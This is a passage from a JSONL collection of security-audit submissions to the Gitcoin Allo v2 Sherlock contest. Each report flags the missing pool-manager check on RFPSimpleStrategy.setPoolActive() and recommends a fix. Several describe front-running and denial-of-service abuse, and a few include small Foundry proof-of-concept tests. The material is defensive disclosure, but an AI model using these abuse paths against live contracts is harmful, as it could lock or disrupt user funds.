manager.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/663.md"}} +{"title":"`RFPSimpleStrategy#setPoolActive()` Lack of access control","severity":"major","body":"Tart Citron Platypus\n\nmedium\n\n# `RFPSimpleStrategy#setPoolActive()` Lack of access control\n\n## Vulnerability Detail\n\nAnyone can change the `PoolActive` status on `RFPSimpleStrategy`.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L386-L412\n\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/660.md"}} +{"title":"no check in RFPSimpleStrategy.setPoolActive","severity":"major","body":"Short Coffee Crab\n\nhigh\n\n# no check in RFPSimpleStrategy.setPoolActive\nmissing a **onlyPoolManager** modifier in **setPoolActive** function which can makes the pool to be closed or opened by anyone \n## Vulnerability Detail\nthe function **setPoolActive** miss a modifier which checks if the **msg.sender** is the pool owner which means that anyone can call this function to stop the pool form working and make the contract to not function properly \n## Impact\nthe contract will not work properly \n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n## Tool used\n\nManual Review\n\n## Recommendation\nadd the **onlyPoolManafer** modifier","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/647.md"}} +{"title":"Everyone can set the pool's status in RFPSimpleStrategy","severity":"major","body":"Ambitious Lemonade Chipmunk\n\nhigh\n\n# Everyone can set the pool's status in RFPSimpleStrategy\nEveryone can set the pool's status in RFPSimpleStrategy\n\n## Vulnerability Detail\nonlyPoolManager(msg.sender) is lost, so everyone can set the pool's status.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n\n## Impact\neveryone can set the pool's status.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd onlyPoolManager(msg.sender)","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/639.md"}} +{"title":"`setPoolActive` in `RFPSimpleStrategy` contract is missing an access modifier","severity":"major","body":"Smooth Sandstone Caterpillar\n\nmedium\n\n# `setPoolActive` in `RFPSimpleStrategy` contract is missing an access modifier\n\n## Summary\n\n`setPollActive` is used to signal the active status of a strategy and is also used in combination with the modifiers `onlyActivePool` and `onlyInactivePool` when distributing, registring a recipient or withdrawing from the pool.\n\n\n## Vulnerability Detail\n\nMultiple comments inside the contract states that this method can only be called by a the pool manager. \n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L217\n\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L169\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L383 with https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L406\n\nbut the method is missing the modifier `onlyPoolManager(msg.sender)` that prevents other accounts from calling this method and setting the pool active status.\n\n## Impact\n\nWithout this modifier anyone can interfere with the pool manager account when distributing, registering a recipient or when withdrawing from the pool.\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L217-L222\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the missing modifier to the method\n\n```diff\n-function setPoolActive(bool _flag) external {\n+function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/635.md"}} +{"title":"Anyone can call ` RFPSimpleStrategy.setPoolActive` because of a missing modifier","severity":"major","body":"Dandy Lavender Wombat\n\nhigh\n\n# Anyone can call ` RFPSimpleStrategy.setPoolActive` because of a missing modifier\n\nAnyone can set the pool to active or inactive and thereby grief a recipient for his payout\n\n\n## Vulnerability Detail\n\nIn the `RFPSimpleStrategy` the function `setPoolActive()` can change the state of the pool from active to inactive and vice versa. According to the notes this function should only be callable by a poolManager but it does not have the corresponding modifier so it can be called by anyone. Since particular functions can only be called when the pool is active or inactive, bad user can switch the status to mess with the pool. For example the function `distribute` can only be called when the pool is active. Since only one recipient can benefit from the pool, a recipient that was not chosen could set the pool to active every time the poolManager wants to distribute funds and thereby prevent the chosen recipient from getting his payout. This is especially feasible on L2 where the transaction cost are very low.\n\n## Impact\n\nAnyone can change the active status of the pool and mess with the pool flow\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the `onlyPoolManager()` modifier to the `setPoolActive()` function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/613.md"}} +{"title":"Missing Access Control","severity":"major","body":"Modern Pearl Kangaroo\n\nhigh\n\n# Missing Access Control\nAny users can change the pool status due to lack of access control in the `setPoolActive()` function.\n\n## Vulnerability Detail\nThe `setPoolActive()` function is designed to alter the status of the pool, making it active or inactive. This operation should be restricted to the pool manager; however, there is no access control mechanism in place to enforce this restriction.\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n```solidity=219\nfunction setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}\n```\n\n## Impact\nAny pool can be activated or deactivated by any user.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n## Tool used\nVisual Studio Code / Manual Review\n\n## Recommendation\nImplement the modifier as an access control for the `setPoolActive() `function.\n\n```diff\n- function setPoolActive(bool _flag) external {\n+ function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/603.md"}} +{"title":"Missing access control for `setPoolActive` in `RFPSimpleStrategy` (and `RFPCommitteeStrategy`)","severity":"major","body":"Orbiting Neon Wolf\n\nmedium\n\n# Missing access control for `setPoolActive` in `RFPSimpleStrategy` (and `RFPCommitteeStrategy`)\nMost of the functions in `RFPSimpleStrategy` and `RFPCommitteeStrategy` (inherited from `RFPSimpleStrategy`) are protected by the `poolActive` flag, which is used to determine whether the pool is currently active or not. However, the setter function (`setPoolActive`) does not verify that msg.sender is the pool manager, allowing anyone to call this function and potentially bypass the checks for pool activity in various functions.\n\nSome scenarios that may affect the protocol include:\n* It can be used to participate in a pool even when the pool is inactive (`registerRecipient`).\n* It can be exploited by a malicious actor to front-run legitimate users when they attempt to participate in a pool (`registerRecipient`) so that no one can join the pool.\n* It can be used to front-run the pool manager, thus avoiding calls to the `distribute` and `withdraw` functions..\n\n## Vulnerability Detail\nAs mentioned in the function comments and documentations, this function should only be accessible to the pool manager.\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\nOther functions affected by this issue include: `_registerRecipient`, `_allocate`, `_distribute`, `withdraw`. \n\n## Impact\n* It can be used to participate in a pool even when the pool is inactive (`registerRecipient`).\n* It can be exploited by a malicious actor to front-run legitimate users when they attempt to participate in a pool (`registerRecipient`) so that no one can join the pool.\n* It can be used to front-run the pool manager, thus avoiding calls to the `distribute` and `withdraw` functions..\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L22\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdding `onlyPoolManager(msg.sender)` to `setPoolActive` function.\n\n```solidity\n function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/599.md"}} +{"title":"[H-03] Missing access control in `RFPSimpleStrategy::setPoolActive()` can cause a lot of issues.","severity":"major","body":"Electric Tiger Bull\n\nhigh\n\n# [H-03] Missing access control in `RFPSimpleStrategy::setPoolActive()` can cause a lot of issues.\n\nMissing access control in `RFPSimpleStrategy::setPoolActive()` can cause a lot of issues and make the pools using this strategy vulnerable to many attacks and render it unusable.\n\n## Vulnerability Detail\n\nThe [RFPSimpleStrategy::setPoolActive()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216C5-L223C1) is meant to be called only by the `poolManager` (Even explicitly mentioned on the comments). Which is not implemented and can cause many issues by toggling the status of pool by a malicious actor.\n\n## Impact\n\n[RFPSimpleStrategy::setPoolActive()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216C5-L223C1) can be spammed by a malicious actor by toggling the `poolStatus` and cause issues on pools using this strategy such as šŸ‘‡ \n\n1. When the [withdraw()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295C3-L301C6) is called by the Pool Manager which can be only done when the pool is not active, a malicious actor can always frontrun and toggle the pool status to `active` causing withdraw impossible.\n2. Can toggle `poolStatus` to false to make [_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L386C2-L412C6) impossible.\n3. Similarly, can toggle `poolStatus` to True to make [_distribute](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417C4-L450C6) impossible.\n4. Another interesting one is that, for pools allowing anyone to register recipient, malicious actor can make the poolStatus active and call [_registerRecipient](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314C5-L381C1) with data of recipients whose `status == accepted`. This causes the status of recipient to become Pending, which will strip of their allocation. This is not that likely as sender needs to be profile member, they can accidentally call the function or if profile member is not trusted, then likelihood goes up. This is regarding this specific(#4) scenario.\n\nAll the first 3 scenarios has high likelihood and impact.\n\n## Code Snippet\n\nNo access control in [setPoolActive()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216C2-L222C6) even when it is explicitly mentioned in the comments.\n\n```javascript\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd access control to the `setPoolStatus` function:\n\n```javascript\n\n function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/597.md"}} +{"title":"No access control on setPoolActive function on RFPSimpleStrategy","severity":"major","body":"Faithful Carrot Okapi\n\nhigh\n\n# No access control on setPoolActive function on RFPSimpleStrategy\nMissing `onlyPoolManager` modifier on `setPoolActive` pool function allowing anyone to change the status of pool\n\n## Vulnerability Detail\n1. In `RFPSimpleStrategy` contract only pool manager should be able to change the status of the pool. \n2. But anyone could set pool status due to lack of `onlyPoolManager` on `setPoolActive` function\n\n## Impact\nA malicious user can change the status of the pool to DOS the critical functions like `registerRecipient`,` allocate`,\n`distribute`.\n\n## Code Snippet\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219)\n\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/596.md"}} +{"title":"Lack of access control for setting pool state in RFPSimpleStrategy allows bricking of contract","severity":"major","body":"Sneaky Tan Hippo\n\nmedium\n\n# Lack of access control for setting pool state in RFPSimpleStrategy allows bricking of contract\n\nThe `setPoolActive` function allows anyone to change whether the pool is active or not. This allows an attacker to alter `poolActive` to serve their purpose. For example, in the general flow of the RFPSimpleStrategy contract, `_allocate` can only be called when the pool is active. A malicious user can simply call `setPoolActive` with the value of `false` to brick this functionality. \n\nAdditionally, it is clear in the natspec comments for this function that the intention is for it to only be called by a pool manager.\n\n## Vulnerability Detail\n\nThe `setPoolActive` function is defined as follows:\n```solidity\nfunction setPoolActive(bool _flag) external {\n\t_setPoolActive(_flag);\n\temit PoolActive(_flag);\n}\n```\nAs can be seen, there is no access control, meaning any user is able to set this state. \n\nOne issue which arises because of this is due to the fact that `_allocate`, which is used to select the winner, requires that the pool is active. Therefore, a malicious user can DOS this function by simply calling `setPoolActive` with a value of `false`. They can continue to do this even if another user attempts to reset it.\n\n## Impact\n\nLack of access control for the `setPoolActive` function allows a malicious user to brick the logic of the RFPSimpleStrategy contract.\n\n## Code Snippet\n\nReferenced lines of code:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThe `setPoolActive` function of the RFPSimpleStrategy should have a modifier which makes it only callable by a pool manager.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/588.md"}} +{"title":"Anyone can make the pool active or Inactive","severity":"major","body":"Noisy Ocean Hornet\n\nhigh\n\n# Anyone can make the pool active or Inactive\nRFPSimpleStrategy can me make active Or Inactive by the pool manager as per the invariant. The strategy has a function named `setPoolActive` for this.\n\n## Vulnerability Detail\n\n\nThis function does not have any access control check such that it only allows Manager to call it. \n\nPaste this file in RFPSimpleStrategy.t.sol\nRun `forge test --mt test_anyone_can_active_or_inactive`\n```solidity\n function test_anyone_can_active_or_inactive() public {\n RFPSimpleStrategy testStrategy = new RFPSimpleStrategy(address(allo()), \"RFPSimpleStrategy\");\n vm.startPrank(makeAddr(\"Attacker\"));\n testStrategy.setPoolActive(true);\n testStrategy.setPoolActive(false);\n\n }\n```\n\n## Impact\nAttacker can set the strategy to be true from the beginning, thereby preventing it to work effectively.Allocate can be called any number of times.\n## Code Snippet\n\n## Tool used\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\nManual Review\n\n## Recommendation\nEnsure that only pool manager can call the function `setPoolActive`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/586.md"}} +{"title":"Denial of service by controlling pool active/inactive status can lock funds in RFP allocation strategy contracts","severity":"major","body":"Dandy Arctic Buffalo\n\nhigh\n\n# Denial of service by controlling pool active/inactive status can lock funds in RFP allocation strategy contracts\nThe [RFPSimpleStrategy.setPoolActive() function](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219) has no authorization check so an attacker is able to open or close the pool at will, disrupting contract functionality.\n\n## Vulnerability Detail\nThe BaseStrategy contract has a `poolActive` boolean storage variable and an internal `_setPoolActive()` function for modifying it. It leaves it up to inheriting implementations to use this and protect it if made externally available. The documented intent is that only an account with \"pool manager\" permissions should be able to change this variable. However, the RFPSimpleStrategy contract provides an externally callable `setPoolActive()` function that is not restricted to pool manager accounts. As a result, an attacker can call this function to control the status of the pool. \n\nThe active / inactive status of the pool affects fundamental operations of the contract:\n\n1. RFP \"recipients\" can only register their bids when the pool is **active**.\n2. The winning bid can only be accepted when the pool is **active**.\n3. Funds can only be distributed to the accepted recipient when the pool is **inactive**.\n4. A pool manager can only call `withdraw()` to recover pool funds (e.g. in case of a failed RFP) if the pool is **inactive**.\n\nAn attacker can therefore block the bidding & acceptance steps by closing the pool prematurely, or much worse, block distribution / recovery of funds by reopening the pool. The attacker can automatically repeat the interference (by detecting the `PoolActive` event emitted upon changes) each time anyone attempts to reverse it, forming an effective denial of service (DoS) attack that is cheap for the attacker, costing only gas fees.\n\nThis affects RFPSimpleStrategy and, by inheritance, RFPCommitteeStrategy.\n\n## Impact\nAn attacker can interfere with pool operations by:\n\n1. Closing the pool prematurely, denying users from registering or being accepted as RFP recipients.\n2. Reopening pool after allocation begins, preventing pool managers from calling `distribute()` and `withdraw()`, effectively locking funds in the contract.\n\n## Code Snippet\nThe [RFPSimpleStrategy.setPoolActive() function](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219) does not require caller to be a pool manager (despite comment):\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\nThe inherited internal function [BaseStrategy._setPoolActive()](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/BaseStrategy.sol#L273C1-L279C6) likewise does not require caller to be a pool manager:\n```solidity\n /// @notice Set the pool to active or inactive status.\n /// @dev This will emit a 'PoolActive()' event. Used by the strategy implementation.\n /// @param _active The status to set, 'true' means active, 'false' means inactive\n function _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd the `onlyPoolManager(msg.sender)` modifier to the [RFPSimpleStrategy.setPoolActive() function](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219).","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/574.md"}} +{"title":"Anyone can set pool active or not active in `RFPSimpleStrategy.sol` as it lacks proper checks.","severity":"major","body":"Hot Latte Dolphin\n\nhigh\n\n# Anyone can set pool active or not active in `RFPSimpleStrategy.sol` as it lacks proper checks.\nThe `setPoolActive(bool _flag)` function in `RFPSimpleStrategy.sol` is an external function which changes the state of the pool to active or non-active according to the `_flag` provided and its Natspec clearly states that it will only be called by `poolManager` but it lacks proper checks to validate the caller. \n\n## Vulnerability Detail\n`setPoolActive(bool _flag)` doesn't include the modifier `onlyPoolManager(msg.sender)` to properly validate the caller as included in other functions which require only pool Manager to call it. \n\n## Impact\n- Anyone can set pool to active or non active which will lead to unexpected behaviors. \n- Attacker can front-run this function every time someone interacts with this pool which will make users interaction revert. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n```solidity\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nInclude modifier `onlyPoolManager(msg.sender)` \n```solidity\nfunction setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/568.md"}} +{"title":"`setPoolActive` don't have access control","severity":"major","body":"Rhythmic Marigold Jay\n\nhigh\n\n# `setPoolActive` don't have access control\n`setPoolActive` don't have access control.\n## Vulnerability Detail\n```solidity\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\nIn `RFPSimpleStrategy` , pool active or not is very important, it controls the access of `allocate` and `distribute` in this strategy.\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n@> onlyInactivePool\n onlyPoolManager(_sender)\n {\n \n \n function _allocate(bytes memory _data, address _sender)\n internal\n virtual\n override\n nonReentrant\n @> onlyActivePool\n onlyPoolManager(_sender)\n {\n\n\n ```\n If don't have proper access control of set pool active or not, the whole strategy would be destroyed.\n\n\n## Impact\n The whole strategy would be destroyed and not work properly\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n## Tool used\n\nManual Review\n\n## Recommendation\nadd access control","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/552.md"}} +{"title":"RFPSimpleStrategy@setPoolActive is available publicly","severity":"major","body":"Curved Chocolate Iguana\n\nhigh\n\n# RFPSimpleStrategy@setPoolActive is available publicly\nAnyone can call `RFPSimpleStrategy@setPoolActive` to change the active status of a pool.\n\n## Vulnerability Detail\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n\n## Impact\nPool active status impacts several parts of `RFPSimpleStrategy` including allocation, recipient registration, distribution and withdrawal.\n\n## Code Snippet\n```solidity\n function testUnauthorizedSetPoolActive() public {\n vm.expectRevert(UNAUTHORIZED.selector);\n\n vm.prank(makeAddr(\"not_pool_admin\"));\n strategy.setPoolActive(false);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd the `onlyPoolManager` modifier.\n\n```solidity\n function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n }\n```\n\n## Additional Comments\n`BaseStrategy@_setPoolActive` already emits a `PoolActive` event, so the emit can be removed in `RFPSimpleStrategy@setPoolActive`. This is also valid for `DirectGrantsSimpleStrategy@setPoolActive`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/529.md"}} +{"title":"Missing AC for setPoolActive might result in DoS","severity":"major","body":"Young Tiger Snake\n\nmedium\n\n# Missing AC for setPoolActive might result in DoS\n`setPoolActive` missing AC in `RFPSimpleStrategy.sol`\n```solidity\nfunction setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n## Vulnerability Detail\n\n## Impact\nAttacker can DoS allocations and distributions by frontrunning them with `setPoolActive`\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\nOnly pool manager should be allowed to toggle pool state\n```solidity\nfunction setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/528.md"}} +{"title":"Anyone can activate or deactivate RFP strategy pools at anytime due to missing access control, DOS funds withdrawal and distribution","severity":"major","body":"Low Mandarin Wolverine\n\nhigh\n\n# Anyone can activate or deactivate RFP strategy pools at anytime due to missing access control, DOS funds withdrawal and distribution\nRFPSimpleStrategy and RFPCommitteeStrategy apply `onlyActivePool` and `onlyInactivePool` to limit key actions such as `registerRecipient`, `allocate`, and `distribute`. For example, `distribute` can only be called when pool is inactive.\n\nHowever, key function to flip pool active status `setPoolActive()` doesn't have any access control, which allows anyone to toggle pool state at any time. This will put the pool in an undesirable state at any time decided by a malicious caller.\n## Vulnerability Detail\nNotice that `RFPSimpleStrategy.sol`, unlike other strategies in scope, enforces pool active status control on key pool actions.\nFor example, in RFPSimpleStrategy.sol - `_distribute()` , `onlyInactivePool` modifier is in place to ensure that only when allocation process is finished will pool managers be able to distribute funds. Similarly in `_registerRecipient()` and `_allocate()`, `onlyActivePool` modifier is in place. In `withdraw()`, `onlyInactivePool` is in place.\n\n```solidity\n//RFPSimpleStrategy.sol\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {...\n```\nHowever, the vulnerability is that pool active status can actually be toggled by anyone at any time due to missing access control in `setPoolActive()`. Even though the function doc `@dev` describes only pool manager can call this function, this is not implemented either externally or internally.\n\n```solidity\n//RFPSimpleStrategy.sol\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n|> function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n``` \n```solidity\n//BaseStrategy.sol\n /// @notice Set the pool to active or inactive status.\n /// @dev This will emit a 'PoolActive()' event. Used by the strategy implementation.\n /// @param _active The status to set, 'true' means active, 'false' means inactive\n function _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n```\nAs a result, a malicious caller can simply toggle pool's active status to prevent pool actions:\n\nFor example, (1) when a caller can prevent `registerRecipient()` by front run the transaction and toggle the pool to inactive causing the transaction to revert; (2) Or a caller can prevent fund distribution by front run the pool manager's `distribute` call and toggle the pool to active, causing pool manager transaction to revert; (3) Or in the context of RFPSimpleStrategy, a caller can prevent `recipientId` to be accepted. (4) Or a caller can also prevent funds to be withdrawn from the pool by front run pool manager's call to `withdraw()`, causing funds to be locked in the pool.\n\nNote that both RFPCommitteStrategy.sol and RFPSimpleStrategy.sol are impacted. \n\n## Impact\nKey pool actions can be prevented and funds can be locked in the pool as detailed above. I consider this is high severity due to how easy and cheap the attack can be and how key registration process, fund allocation, distribution, and withdrawal processes can be DOS. And funds can be locked. \n\n## Code 